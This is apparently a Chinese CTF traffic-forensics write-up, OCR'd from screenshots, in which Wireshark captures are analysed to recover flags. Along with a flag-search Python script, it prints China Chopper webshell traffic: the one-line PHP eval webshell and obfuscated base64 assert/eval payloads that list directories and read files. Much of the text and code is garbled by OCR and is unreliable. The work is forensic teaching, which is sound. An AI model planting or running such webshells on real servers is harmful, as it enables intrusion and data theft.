421 10.211.55.15 431.305226 10.211.55.2 9;&4109;8#125; 3 [TCP segment of a reas
420 10.211.55.15 431.305225 10.211.55.2 ------WebKitFormBoundaryBMPTIeB4An19V1iou 3 [TCP segment of a reas
419 16.211.55.15 431.305224 10.211.55.2 Content-Disposition: form-data; name="send” 3 [TCP segment of a reas
353 10.211.55.2 431.288273 10.211.55.15 )
351 10.211.55.15 431,288227 10.211.55.2 send file TCP segment of a reassem
350 10.211.55.15 431.286462 10.211.55.2 = === R R e TR TR At —
348 10.211.55.2 431.285940 10.211.55.15 AT/ 220 G
Date: Wed, @9 Aug 2017 ©2:48:09 GMT
347 10.211.55.15 431.285892 10.211.55.2 server: Apache/2.2.16 (Debian) =1548703 TSecr=780435029
346 10.211.55.2 431,285732 10.211,55.15 X-Powered-By: PHP/5.3.3-7+squeezels TSecr=0 SACK_PERM=1
458 10.211.55.15 440.457331 10.211.55.2 X-XS5-Protection: @
456 10.211.55.2 448.456592 10.211.55.15 Vary: Accept-Encoding
450 10.211.55.15 434.870629 10.211.55.2 Content-Encoding: gzip
449 10.211.55.2 434.869590 10.211.55.15 Content-Length: 744
- 442 10.211.55.15 431.305484 10.211.55.2 Keep-Alive: timeout=15, max=97
I+ 35210.211.55.2 431.300838 10.211.55.15 Connection: Keep-Alive
5210.211.55.15 431.2882 10,211.55.2 Content-Type: text/html
> Frame 354: 439 bytes on wire (3512 bits), 439 bytes captured (|| UK. .6.50.b...."s.
> Ethernet II, Src: Parallel ee:00:08 (00:1c:42:00:00:08), Dst:
> Internet Protocol Version 4, Src: 10.211.55.2, Dst: 10.211.55. ©iCeeiiPu....)..083..G
v Transmission Centrol Protocol, Src Port: 55598, Dst Port: 8@, ..U.Pt..t.Cc....T.H..h.. L YP.
Source Port: 55598 j..1
Destination Port: 8se QWL
[Stream index: 16] 3..w..p..io0@eB....m.C.p] .
[TCP Segment Len: 373] B o 0 0 B 5 0, 7 ) B
00 1c 42 a4 95 06 @0 1c 42 @0 00 08 08 80 45 02 #4711E (30kB) < Show data as |ASCLT &
01 a9 50 08 40 00 46 66 00 @0 6a d3 37 €2 @a d3 . -
37 of do 2e @@ 50 cf 76 7f 07 ba 6b 91 7d 80 18 | | Tt w]
10 08 85 52 00 00 @1 @1 ©8 @a 2e 84 7e 63 @@ 17 P TER Btk EE Close Heln

< -GET

vamnlan

al of 47 45 54 20 2f 64 69 72 74 72 61 76 2f 65

70 &1 EA In £~ ES 31 1~ T4 £0 Im 3L EE A0 & EC

CSDN @TJA/)

AR Ei A

f#NS15 Blflag
flag{si11ybOyemmm}

FEIX B A R RG] —F/MER, KW UE#RHA LK

# encoding:utf-8
import os

import os.path
import sys

import subprocess

#IT EI AT IT EIZ 75

def str_re(str1):
str2=
for i in str1.decode('utf8','ignore'):




try:
#print(ord(i))
if ord(i) <= 126 and ord(i) >= 33:
str2 +=i
except:
str2 +=""
#print(str2)
return str2

#HEGA XL
def txt_wt(name,txt1):
with open("output.txt","a") as f:
f.write('filename:'+name)
f.write("\n")
f.write('flag:'+txt1)
f.write("\n")

#E—KiE1T, JBLoutput X1F
def clear_txt():
with open("output.txt","w") as f:
print "clear output.txt! ! ! "

# & IH 8 [T XA
def file_bianli():
# BT R E 2 BT H 7~
path = os.getcwd()
# BEIXAE T HIPTH X AEFZ
file_list =[]
fori, j, k in os.walk(path):
for dd in k:
if ".py" notin dd and "output.txt" not in dd:
file_list.append(os.path.join(i, dd))
return file_list

HEL TG XA AT BE oflag #9715 5

def flag(file_list,flag):
foriin file_list:
try:
with open(i,"rb") as f:
for jin f.readlines():
i1=str_re(j)# 7 #T E1-F7F 5
#print j1
for k in flag:
ifkinj1:
xt_wi(i, j1)
print 'filename:',i
print 'flag:',j1
except:
print ‘err'

flag_txt = ['flag{', '666c6167','flag', Zmxh','&#102', '666C6167']

T H BRI
clear_txt()
Hati g X FE
file_lt=file_bianli()

# & #flag Kig 7=

flan/fila It flan tvi)



Hay v _ignay_wyg

-j output.txt - ic=
U(F) 4REE(E) 1&830(0) EA(V) FEN(H)

filename:C:\Users\Administrator\Desktop\2. flagZsfid\64da5ad4ale024d198dfa307299965F ~
flag:cE™ {(*8?28& % wbh8+bbMAIN_()%666c61677b37466f4d3253746b6865507a7d\no<<)
filename:C:\Users\Administrator\Desktop\2. flagé®iZ\64dasa4ale024d198dfa307299965k
flag:c6+Ek[Jr (*17L0% % bS8*bbMAIN_()%666c61677b3746654d3253746b6865507a7d\j1<<6+)
filename:C:\Users\Administrator\Desktop\2. flaggshd\64da5adale024d198dfa307299965t
flag:BBMAIN_ () flag\—{<X)
filename:C:\Users\Administrator\Desktop\2. flagéid \attack log analysis. pcap
flag:bbBxYiY<<PV) 7E (1@?q22=b:PBxYY66) TPVE ( (@V22=: bPBxYZ<<PV) TE (H@?22=WPBxY [66) TP}
filename:C:\Users\Administrator\Desktop\2. flagZmhd\ o] Ll 2 & . pcapng

flag:. 4\GET/xml/examplel. php?xml=%3Ctest%3Fhacker%3C/test%3Eflag. txtHTTP/1. 1
filename:C:\Users\Administrator\Desktop\2. flagZmhd\ o] Ll 2 & . pcapng
flag:Referer:http://10. 211. 55. 15/xml /examplel. php?xml=%3Ctest%3Ehacker%3C/test%3F
filename:C:\Users\Administrator\Desktop\2. flagZmhd\ o] Ll 22 & . pcapng

flag:. &8102: &849:&#97: &8103:&8123: &E8115:&8105: &#49: &849 : &&#121 ; §898 : &848: &8121 : &#1

CSDN @TJA Rl

BB HTIRE EE BT LS E g B AT
. E4if

1. caidao

B SRATIT 35 RN T

M caidao.pcapng

MEE) HEE MEN BREG) RO SR Fie =SEY) TEW T8O #EH) lg:
AmZ® R Q&e=>2EZF8 =S aaqf
MEAET TS -~ Ctrl-/>
No. Source Tine Destimation Protoco Length Info
510.211.55.61 09.184621 192.168.1.145 HTTP 828 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)
9 192.168.1.145 0.576743 10.211.55.61 HTTP 340 HTTP/1.1 280 OK (text/html)
18 10.211.55.61 21.139025 192.168.1.145 HTTP 766 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)
20 192.168.1.145 24.225688 10.211.55.61 HTTP 256 HTTP/1.1 280 OK (text/html)
3@ 10.211.55.61 48.763038 192.168.1.145 HTTP 826 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)
32 192.168.1.145 49.117671 10.211.55.61 HTTP 433 HTTP/1.1 200 OK (text/html)
[ 1/10.211.55.61 ©.000000 192.168.1.145 TCP 66 49366 » 86 [SYN] Seq=0 Win=65535 Len=8 MSS=146@ WS=256 SACK_PERM=1
......... 2 192.168.1.145 ©.184322 10.211.55.61 TCP 62 80 » 49366 [SYN, ACK] Seq=0 Ack=1 Win=32768 Len=8 MSS=1460 WS=2
310.211.55.61 9.184414 192.168.1.145 TCP 54 49366 » 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Device\NPF_{32D3637B-25B5-48CD-82CD-7AFCA851C48A}, id @
Ethernet II, Src: Parallel f4:84:6c (@8:1c:42:f4:84:6c), Dst: Parallel 0e:00:18 (00:1C:42:00:00:18)

Internet Protocol Version 4, Src: 10.211.55.61, Dst: 192.168.1.145

Transmission Control Protocel, Src Port: 49366, Dst Port: 80, Seq: @, Len: @

0000 ©0 1c 42 00 00 18 00 1c 42 f4 84 6¢c 08 00 ee B B--1 E
00 34 3f 6f 40 o0 80 e6 @@ ee ea d3 37 3d co a8 4?00 7=
01 91 c@ d6 @0 50 de 94 24 ad ee ee oe 0@ 80 02 P
ff ff 04 70 oe 00 02 @4 05 b4a @1 e3 @3 08 ol o1 p
24 @2 ) A
s . s
BATE 62— Thitp B ER R Kitcp, KILFHE W T
M Wireshark - i&% TCP i (tcp.stream eq 0) - caidao.pcapng - | X

\POST /3.php HTTP/1.1 "



X-Forwarded-For: 241.38,53.25

Referer: http://192.168.1.145/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (compatible; Baiduspider/2.@; +http://www.baidu.com/search/
spider.html)

Host: 192.168.1.145

Content-Length: 774

Cache-Control: no-cache

123=array map(“ass"."ert”,array("ev" . "AL(\"\\\$xx%3D\\\"Ba"."SE6". "4 dEc"."0OdE\\
\";@ev. "al(\\\
$xx("QGluavozZXQoImRpc3BsYX1FZXIyb3JzIiwiMCIpO@BzZXRTdGlTZVIsaWlpdCgwKTtpZihQSFETVKkVSUBL
PTJjwnNS4zLJAnKXTAC2VOX21hZ21JX3F1b3R1c19ydiWS0aWl1KDApO307 ZWNobygiWEBZIik7IEQOI@MEXFXx3d3d
yb29@XFWnOyRGPUBVCGVUZGLlyKCREKTtpZigkRj@OTIVMTC17ZWNobygiRVIST1I6Ly8gUGFBaCBOb3QgRMI1bmQ
gT3IgTm3gUGVybWlzc21lvbiEIKTEOZWxzZXskTT10VUXMOYRMPUSYTEW7d2hpbGUoJEA9QHI1YWRKkaXIoJEYpKXs
kUD@KRCANLycuJE4A7IFQO9QGRhdGUOI1ktbS1kIEg6aTpzIixAZmlsZW10aW11KCRQKSK7QCRFPXNIYNN@cihiYXN
1X2NvbnZ1cnQoQGZpbGVWZXItcygkUCksMTASOCkSLTQpOYRSPSIcdCIUuIFQUIL1X@Ii5AZml sZXNpemUoJFApL1]
CACIUJEVUUIlxuIjtpZihAaXNTZGlyKCRQKSkkTS49JEAUTIi81LiRS02Vsc2UgJEWUPSROLIRS0311Y2hvICRNLIR
MO@BjbGOzZWRpcigkRik7fTt1Y2hvKCIYQFkiKTtkaWUoKTs%3D"));\") ;")) ;HTTP/1.1 200 OK

Date: Mon, 27 Jun 2816 @8:47:38 GMT

Server: Apache/2.2.22 (Win32) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 1575

Content-Type: text/html

X@y./ 2016-06-27 ©8:45:38 0 0777

o 2015-08-09 ©9:39:05 0 0777

510cms/ 2015-11-19 ©2:06:08 0 0777

AccessInj/ 2015-06-03 11:53:27 ) 0777

anylab/ 2016-01-28 ©7:26:27 0 0777 9

A 8. 2 FOW AL 2 HFRE AL 1 oronlE) SZEHE.

E1713F (2820 bytes) v Shov data as ASCII v i

T | EBHET W
B $TE Bz & Closel | @ T Ryl

(EXEFRE—T, 26K8r—KEE, EaNBIr—REZES, NTRAMERYE, Mk b T —MEBoc B RERA,
BT RGSER TR

M Wireshark - 1885 TCP i3 (tcp.stream eq 1) - caidao.pcapng - O x

POST /3.php HTTP/1.1

X-Forwarded-For: 241.38.53.25

Referer: http://192.168.1.145/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (compatible; Baiduspider/2.@; +http://www.baidu.com/search/
spider.html)

Host: 192.168.1.145

Content-Length: 412

Cache-Control: no-cache

123=array_map("ass"."ert",array("ev"."AL(\"\\\$xx%3D\\\"Ba"."SE6"."4 dEc"."0OdE\\
\"@ev . "al (\W\\

$xx( 'QGluavezZXQoImRpc3BsYX1TZXIyb31zTiwiMCIpO®BzZXRTdGltZVI9sawWlpdCgwKTtpZihQSFBfVkVSUalPT
JwnNS4zLJANKXTAC2VeX21hZ21jX3F1b3R1c19ydWS50alWl1KDAPO3@7ZWNobygiWEBZIik7JEY9JOME6XFx3d3dyb29
@XFwzLnBocCc7IFA9QGZVCGVUKCRGLCAYJyk7ZWNobyhAZnJ1YWQoJIFAsSZml sZXNpemUoJEYpKSk7QGZjbGozZSgky
Ck702VjaG80I1hAWSIpO2RpZSgpOw%h3D%3D ) )3\ ") ;")) ;HTTP/1.1 200 OK

Date: Mon, 27 Jun 2016 ©8:48:@2 GMT

Server: Apache/2.2.22 (Win32) PHP/5.3.13
¥ _Dnwarad-Rwv: DHD/E 2 12




LR e

Content-Length: 33
Content-Type: text/html

X@y<?php eval($ POST[123]);?> X@Y

i gﬁﬁ ﬁs‘g; i }@'5;1&9 ﬁs‘g; i rurn(s)_
4315 (914 bytes)

R

Show data as ASCII

i |




BRI ER LA T —A—"iEAS, RINEE—T&RE I

M Wireshark - i8F TCP i (tcp.stream eq 2) - caidao.pcapng - | x

POST /3.php HTTP/1.1

X-Forwarded-For: 241.38.53.25

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.145/

User-Agent: Mozilla/5.@ (compatible; Baiduspider/2.@; +http://www.baidu.com/search/
spider.html)

Host: 192.168.1.145

Content-Length: 472

Cache-Control: no-cache

123=array_map(“ass"."ert",array("ev"."AL(\"\\\$xx%3D\\\"Ba"."SE6". "4 _dEc"."0dE\\
\";@ev. "al (\\\

$xx( 'QGluavezZXQoImRpc3BsYX1TZXIyb31zTiwiMCIpO@BzZXRTdG1tZVIsaWlpdCgwKTtpZihQSFBTVkVSUBLIPT
JwWnNNSAzZLjANKXtAC2VveX21hZ21jX3F1b3R1c19ydW5@aWl1KDAPO307 ZWNobygiWEBZIik7JEY9IkMeXFx3d3dyb29
@XFxmbGFnLnRhci5neiI731GZwPUBMb3BlbigkRiwncicp021mKEBMZ2VaYygkZnApKXtAZmNsb3N1KCRmcCk7QHILY
WRMaWx1KCRGKTt9ZWxzZXt1Y2hvKCdFULJPUjovLyBDYWAgTMOOIF I 1YWQNKTt902V]jaGB8oI 1hAWSIpO2RpZSgpOws
30%3D'));\");"));HTTP/1.1 200 OK

Date: Mon, 27 Jun 2016 ©8:48:26 GMT
Server: Apache/2.2.22 (Win32) PHP/5.3.13
X-Powered-By: PHP/5.3.13

Content-Length: 289

Content-Type: text/html

X@Y....w.pW....Y

B, Foaraan ['].

B CHnrd..a./.T....p...{...D.t.>..v....=.u...i.[9...¥..2.G..f0..pN..G..r..
oo oooboBodtlocnoa (Booaoc [RoooeblooWolls o™dBa o oIfdibe o olfg cllacadilboccooocncaac X..V¥..5.(..X@y

HE F0. 1 EOWR AL 1 BRE HE 1 orurnls) SRR

#2-1-319% (1151 bytes ) A Show data as ASCII ~ Dol =
& | | EHT— W
AR TED ATES iEE Chese)| | ol Arlr)

BJE—MNRIE B X@YRE T bR S
SR 5 BATHELL ) 38 23 AT A5

QGIluaV9zZXQolmRpc3BsYXIZXJyb3JziwiMCIpO0BZZXR{dGItZVIsaW1 pd CgwKT tpZihQSF BAVKVSUDIP TjwnNS4zLANKXAC2VOX2 1hZ2ljX
3F1b3RIc19ydW50aW1IKDApO307ZWNobygiWEBZIik7 JEYIIkMBXF x3d3dyb290XF xmbGF nLnRhci5neil7 JGZwPUBmb3BlbigkRiwncicpO2
IMKEBmMZ2V0YygkZnApKXtAZmNsb3NIKCRmcCk7 QHJYWRmaWXKCRGKTt9ZWxzZXtY 2hvKCdF UIJPUjovLyBDYWA4g TmI0IF IYWQNnKTt
902VjaG8ollhAWSIpO2RpZSgpOw%3D%3D

KIUE A URLGED, FT LASeE AT URL AR FE HEAT R E

QGluaV9zZXQolmRpc3BsYXIFZXJyb3JziwiMCIpO0BZZXR{dGItZVIsaW1pd CgwKT tpZihQSF BIVKVSUOIPTjwnNS4zLANKXAC2V0X2 1hZ2liX
3F1b3RIc19ydW50aW1IKDApO307ZWNobygiWEBZIik7 JEYIIkMBXF x3d3dyb290XF xmbGF nLnRhci5neil7 JGZwPUBmb3BlbigkRiwncicpO2
IMKEBmMZ2V0YygkZnApKXtAZmNsb3NIKCRmcCk7 QHJYWRmaWXKCRGKTt9ZWxzZXtlY 2hvKCdF UIJPUjovLyBDYW4g TmI0IF IYWQNnKTt
902VjaG8ollhAWSIpO2RpZSgpOw==



Base64f#iY

@ini_set(“display_errors”,“0”);@set_time_limit(0);if(PHP_VERSION<'5.3.0’){@set_magic_quotes_runtime(0);};echo(“X@Y”);

F:”f". . r1 . 9 e ONFarnnl S g o 4 o NN e~ oa - .

i n

RIE —Mag.tar.gzkE 4
RERNELR, ERaHFET

- [m] x 30 10.211.55.61 48.7630838
32 192.168.1.145 49.117671

26 10.211.55.61 44.290623

ceis[00eeVerZeGe /O pNeGeereer o} 28 192.16%.1.145 48.762795

M xeyeS (O X@y 2910.211.55.61 148.762873
31192.168.1.145 48.763180
3310.211.55.61 20.117724

A o D T | r
| b
192.168.1.145 HTTP 826 POST /3.php HTTP
10.211.55.61 HTTP 433 HTTP/1.1 208 OK

192.168.1.145 TCP

8.1.

10,211.55.61 TCP

192.168.1.145 TCP
10.211.55.61 TCP
192.168.1.145 TCP

54 49368 + 88 [ACK]
6680 > 49368 [ACK]
54 49368 > 80 [ACK]

>

Hypertext Transfer Protocol

X@v\e379 \b\oeow®pi\0oo\ee3 € €Y\n
90\02409.9:9°6['|O\n

v Line-based text data: text/html (4 lines)

a

\016 @9 \026A\024 9 ¥\a® @ CHNrd @ @29 /9TO VPO [V VDOLO>OOVOLO=-QUO IO [9OhYO <
©109\0359295\0370UO @ VACO L\ aOPROOT?O\177Y\037N 9 \030* @0V j$)50 P01, 010 €

v
>

33 2e 31 33 ed @a 58 2d 50 6f 77
42 79 3a 20 50 48 50 2f 35 2e 33
43 6f 6e 74 65 6e 74 2d 4c 65 6e
32 30 39 od 0a 43 6f 6e 74 65 6e
65 3a 20 74 65 78 74 2f 68 74 6d
58 40 59 1f 8b 08 @@ 77 e7 70 57

B #1734 14 O A1 dA AE ah AB sr

B 32 Linehased text dats (dera~tese-lines) 209 FF.
e v | BaH [ASCID v
Fih: |

1TED a7l BEn- Close Help |

BT REILRTIKIEH BH o # L3

M Wireshark - Line-based text data (data-text-lines) - caidao.pcapng

65
2e
67
74
6C
o0

ha

72
31
74
2d
ad
@3

~

65
33
68

0a
ed

on

64
ad
3a
79
ad
d1

An

3.13- -X- Powered-
By: PHP/ 5.3.13- -
Content- Length:
289 -Con tent-Typ
e: text/ html----
X@Y- W opW-- Y
r

CSDN @TIA/ M

cee WepW oenY
@een g

ceeaPegeamee e oGt sRer e Re oY e Eemes e o j$) S f, Qe Ml

g .A........CHnr-d. ¢a+f+'|'+.+.p.+.{.+.[}.t.>. .\_r...-:.u..;j_¢[9.+.\{. 73 '/’O* .pN+ Qe .}

X+oye+S (

& 32 Line—fased text dats (date—texrt—lines]) 208 FF. S8 S07 EFE.

BiShH & v | BRH [ASCIT v

Az 2

w541, |

T o]

$TED S ATFH -

CLES DI | @ THAK)

T f‘[

M Wireshark - Line-based text data (data-text-lines) - caidao.pcapng

cee WepW eeeY
N N E

TR TR ol 51 1o+ EF- TV RICREY  EERE EREY ) B D DEAEREEEST PEES B = B ER AY R Jo R oI BT cRR JR I B



coeePegecmeanas Covnee Revee2eeYeNe-%emes--$)§e--F, iv---M-

X++y++S (

key{8769fe393f2b998fab6a11afe2bfcd65e}

2. test

TR H G B % HF, BEhtplii &4 kL

[ test.pcap
ZHHE) |EE) WAV PG BRO SRR #HE) mBiEY TRWwW) IBM FEH)
(mZ@® RE Qemsxzzge5Haaar

||F AR T #E ~ Ctrl-)

& 33 Line—bazed text data (date—text—Irnes) 208 FF. S8 203 EF.
wEh [E v B [hscIr v s g
7
&i: [|Baseos BT @]
EHEEE | o P .
ROT13 TED S AN Clogec )\ @‘f{ﬁ]ﬂ 4
B #4153 3flag
M Wireshark - Line-based text data (data-text-lines) - caidao.pcapng - (| X
tlag/
Q@755 0©ee7/65 ©ed24 000RRRReee 12734163500 914133 5
ustar @azhangjianxiang staff QPERRe BARRRe
flag/flag.txt
peecdd oeae/o5 0eee24 0ooeeeeaeds 12734157617 @15620 @
ustar @azhangjianxiang staff QPERRe BARRRe
key{8769fe393f2b9o8tacallafe2bfcd6se}
#f 32 Line—hased rerr dore (dere—vesrr—Jines) 808 FF. &5 207 FF.
R BT |ASCII v Fi [z 2] w5 200 3]
T | BT |
$TED il AT C16580)[\| @T FelpfEr

o. Source Tine Destination Protoco Length Info



4192.168.1.2 9.000428 192.168.1.10 HTTP 1032 POST /isg.php HTTP/1.1 (application/x-www-torm-urlencoded)
6192.168.1.10 0.001816 192.168.1.2 HTTP 380 HTTP/1.1 200 OK (text/html)
14 192.168.1.2 0.047728 192.168.1.10 HTTP 1074 POST /isg.php HTTP/1.1 (application/x-www-form-urlencoded)
16 192.168.1.10 0.0851394 192.168.1.2 HTTP 565 HTTP/1.1 200 OK (text/html)
24 192.168.1.2 9.313924 192.168.1.10 HTTP 810 POST /isg.php HTTP/1.1 (application/x-www-form-urlencoded)
26 192.168.1.10 9.314896 192.168.1.2 HTTP 309 HTTP/1.1 200 OK (text/html)
34 192.168.1.2 14,545549 192.168.1.10 HTTP 811 POST /isg.php HTTP/1.1 (application/x-www-form-urlencoded)
36 192.168.1.10 14.546455 192.168.1.2 HTTP 450 HTTP/1.1 200 0K (text/html)
1192.168.1.2 ©.000000 192.168.1.10 TcP 62 1218 » 80 [SYN] Seq=0 Win=16384 Len=0 MSS=1460 SACK_PERM=1
2192.168.1.10 0.000207 192.168.1.2 TCcP 62 80 » 1218 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1460 SACK_PERM=1
3192.168.1.2 0.000248 192.168.1.10 TCcP 541218 » 80 [ACK] Seq=1 Ack=1 Win=17528 Len=@
5192.168.1.10 ©.000552 192.168.1.2 TCP 60 80 > 1218 [ACK] Seq=1 Ack=979 Win=15648 Len=0
7192.168.1.10 ©.001866 192.168.1.2 TCP 60 80 » 1218 [FIN, ACK] Seq=327 Ack=979 Win=15648 Len=0
8192.168.1.2 ©.001904 192.168.1.10 TCcp 541218 » 80 [ACK] Seq=979 Ack=328 Win=17194 Len=@
9 192.168.1.2 9.001946 192.168.1.10 TCcP 54 1218 » 80 [FIN, ACK] Seq=979 Ack=328 Win=17194 Len=0
10 192.168.1.10 ©0.002022 192.168.1.2 TcP 60 80 » 1218 [ACK] Seq=328 Ack=98@ Win=15648 Len=0
11 192.168.1.2 9.0847331 192.168.1.10 TcP 62 1219 » 88 [SYN] Seq=0 Win=16384 Len=8 MSS=1460 SACK_PERM=1
12 192.168.1.10 0.047493 192.168.1.2 TCP 62 80 > 1219 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 M55=1460 SACK_PERM=1
13 192.168.1.2 ©.047534 192.168.1.160 Tcp 541219 > 80 [ACK] Seq=1 Ack=1 Win=175206 Len=@
15 192.168.1.10 ©.047873 192.168.1.2 TCcp 60 80 » 1219 [ACK] Seq=1 Ack=1021 Win=16320 Len=e@ =
17 192.168.1.10 ©.051433 192.168.1.2 TCcP 60 80 » 1219 [FIN, ACK] Seq=512 Ack=1@21 Win=16320 Len=0
18 192.168.1.2 ©.0851499 192.168.1.10 TCcP 54 1219 » 80 [ACK] Seq=1021 Ack=513 Win=17009 Len=0
19 192.168.1.2 9.0851550 192.168.1.10 TCcP 541219 » 80 [FIN, ACK] Seq=1021 Ack=513 Win=17009 Len=0
20 192.168.1.10 ©9.0651642 192.168.1.2 TCcP 60 80 > 1219 [ACK] Seq=513 Ack=1622 Win=16326 Len=6
1- 62 hutac on wira (406 hite) 2 hitas canturad (405 hite)

00 Oc 29 02 62 Of 0@ Oc 29 el e8 19 08 00 45 88 - -)-b- - ). .- - E-
00 30 30 11 40 @0 80 06 47 5a O a8 01 02 €O a8 80-@ -+ GZ -
01 @a 04 C5 00 50 99 56 4f 7e @0 6@ 00 00 70 02 - - - - P-V O~ - -p-
40 20 d1 d2 o0 @0 @2 04 05 b4 @1 @1 e4 92 @rrrrrrr srenen
CSDN @AM

B ERhttp ¥R B B tep I # A 4

M Wireshark - iBEs TCP % (tcp.stream eq 3) - test.pcap — O X
POST /isg.php HTTP/1.1 ~

Cache-Control: no-cache

X-Forwarded-For: 10.197.194.76

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.18/

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.1.1@

Content-Length: 470

Connection: Close

I15G2014=%40eval’e1%28basesd decode?28%24 POST%5Bz@%5D%29%29%3B&z0=0G1uav9zZXQoImRpc3BsYX
1fZXJyb3IzIiwiMCIpOeBZZXRTdGltZVIsaWlpdCgwkKTtAC2VEX21hZ2]1jX3F1b3R1£19ydW5@aW11KDApO2V]jaG
801i@%2BTCIp0zskRj1InZXRTbWFnaWNfcxVvdGvzX2dwYygpP3Necmlwc2xhc2hlcygkX1BPULRbInoxI1@pOiRf
UE9TVFsiejEiXTskZnA9QGZvcGVUKCRALCIyIik7aWYoQGZnZXRjKCRmcCkpe@BmyY2kvc2Uo0lGZwKTtACmVhZGZp
bGUoJEYpO311bHN1e2VjaGRoIkV SO18vIENhbiBOb3QgUmVhZCIpO3@7ZWNobygifDwtIik7ZG11KCk7&z1=
%2Fvari2Fwww%2Fhtml%2Fx. tar.gzHTTP/1.1 20808 OK
Date: aun, 0/ sep 2014 16:34:23 GMT

Server: Apache/2.2.15 (Cent0s)

X-Powered-By: PHP/5.3.3

Varmsis Arcnant Cacoddno

A 36 1 BN HE 1 FEE AL 1 orwnls) SorRE.
BE-FE (1153 bytes ) e Show data as ASCII s i

i | | [ERT— |
LR 1TER BrER -

-
g

cles Dl @THak ]

J

RAE—NEHE, BEREINMBES AT

M et - X
SHHE) HS) EEY) AW TED ) E
4Am =aaqQqw
A[tcp. strean eq 8 BE3 -+
Yo. Source Tine Destination Protoco Length Info

34192.168.1.2 14.545549 192.168.1.10 HTTP 811 POST /isg.php HTTP/1.1 (application/x-www-form-urlencoded)

36 192.168.1.10 14.546455 192.168.1.2 HTTP 450 HTTP/1.1 260 OK (text/html)

31192.168.1.2 14.545089 192.168.1.1@ TCP 62 1221 > 80 [SYN] Seq=0 Win=16384 Len=0 MSS=1460 SACK_PERM=1

32 192.168.1.10 14.545295 192.168.1.2 TCP 62 80 > 1221 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=146@ SACK_PERM=1

EB) P, T oilon ALIEREEER] eI M wireshark - Line-based text data (data-text-lines) - test.pcap — [m) x

35192.168.1.10 14.545652 192.1

37 192.168.1.2 14.547150 192088 [T S T

38192.168.1.10 14.552209 192.18%y g .. AE. +Rese Rpe e D[, e+

39 192.168.1.2 14.552239 19 . ceg9ewee]-

Lyerefe QearTee@ear EArderebedC i emerierens XevrticeemeUyeseseeQetefebfesFeonike
I<-

[Window size scaling factor: -2 (no window scaling \

Flarbaim: AvoInA Timiani £3aA41



LiELRS UL vAoDUE [unvel Liieu]
[Checksum Status: Unverified]
Urgent Pointer: @
> [SEQ/ACK analysis]
v~ [Timestamps]
[Time since first frame in this TCP stream: ©.e¢
[Time since previous frame in this TCP stream: @
TCP payload (396 bytes)

>
> Line-based text data: text/html (4 lines)

AN

£ 36, Linebased text date (data—tertlines) 180 FF.

RIEHERME L H G LS

M Wireshark - Line-based text data (data-text-lines) - test.pcap

BEn £ ~| B [asc1r ~] Ao E]aw|
0100 72 73 65 74 3d 55 54 46 2d 38 od @a od @a 2d 3e . —
0116 7c 1f 8b 08 60 32 85 0c 54 00 03 ed cf bd 0a ca| S | | EFT—tw]
0120 30 18 85 el ce Se 45 af c@ 26 fd 73 96 6e 52 7@ W E#M | BEhe | Clese | Help |
0130 eb ed 18 a2 44 5b 2c b6 a4 d1 @a e2 bd 5b @5 97
0140 @e 3a 15 11 de 67 39 ¢3 77 86 3 5d b4 od fa be  -:i---g9- W--]----

CSDN @TJA/JMi

var/www/flag.txt

ustar root

root

IsG{China_chepper Is A slick Little Webshel1}

P64 PPPOPEE PPEOLROD PEPPLERVE56 12402351734 012644 ©

& 35 Line—based text dats (data—text—iines) 180 F¥. =S85 i7d FF.

W R4 [ASCIT

R

Fis |3

2] e 17 @I

11 |

BT |

& fEfag

AR

g3 BEAe |

Close Sl @ Hst) i

ISG{China_ChOpper_Is_A_Slick_Little_Webshe11}

Fi. liuliang

T E JE kBT

M liviiang.pcap — X
SZHHF) HEE(H)
4R X G
MEASFTEE ~ Ctrl-/> <)+
Ho. Source Tine Destination Frotoco Length Info "

44 192.168.80.132 11.492528 192.168.80.1 HTTP 468 HTTP/1.1 200 OK (text/html)

51 192.168.80.1 13.855510 192.168.80.132 HTTP 595 POST /SQL4/userinfo.php HTTP/1.1 (application/x-www-form-urlencoded)

53 192.168.80.132 13.873307 192.168.80.1 HTTP 1170 HTTP/1.1 200 OK (text/html)

68 192.168.80.1 19.469648 192.168.80.131 HTTP 418 GET / HTTP/1.1

73 192.168.80.131 19.474150 192.168.80.1 HTTP 60 HTTP/1.1 20@ OK (text/html)

170 192.168.80.1 50.128466 192,168.80.132 HTTP 811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)

172 192.168.80.132 50.134005 192.168.80.1 HTTP 698 HTTP/1.1 200 OK (text/html)

225 192,168.80.1 74.321797 192,168.80.132 HTTP 472 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)

227 192.168.80.132 74.529506 192.168.80.1 HTTP 240 HTTP/1.1 200 OK (text/html)

230 192,168.80.1 74.570794 192,168.80.132 HTTP 811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)

232192.168.80.132 74.575066 192.168.80.1 HTTP 698 HTTP/1.1 200 OK (text/html)

239 192,168.80.1 79.950260 192,168.80.132 HTTP 811 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)

241 197 168 20 132 Q_Q54501 102 168 20 1 HTTP AQR HTTD/1_1 200 0K (text/html) v
> Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
> Ethernet II, Src: VMware c0:00:08 (00:50:56:c0:00:08), Dst: VMware ao:c8:dl (e0:0c:29:a0:c8:d1)
> Internet Protocol version 4, Src: 192.168.80.1, Dst: 192.168.80.132
>

CSON@TIAIVE

E Rhtn¥a . B Btenyk



CH1 TIMMUILY AWM VIS

M Wireshark - i8Fs TCP 7 (tcp.stream eq 9) - liuliang.pcap - O X

POST /test.php HTTP/1.1 ~
X-Forwarded-For: 199.1.88.29

Referer: http://192.168.80.132

Content-Type: application/x-www-form-urlencoded

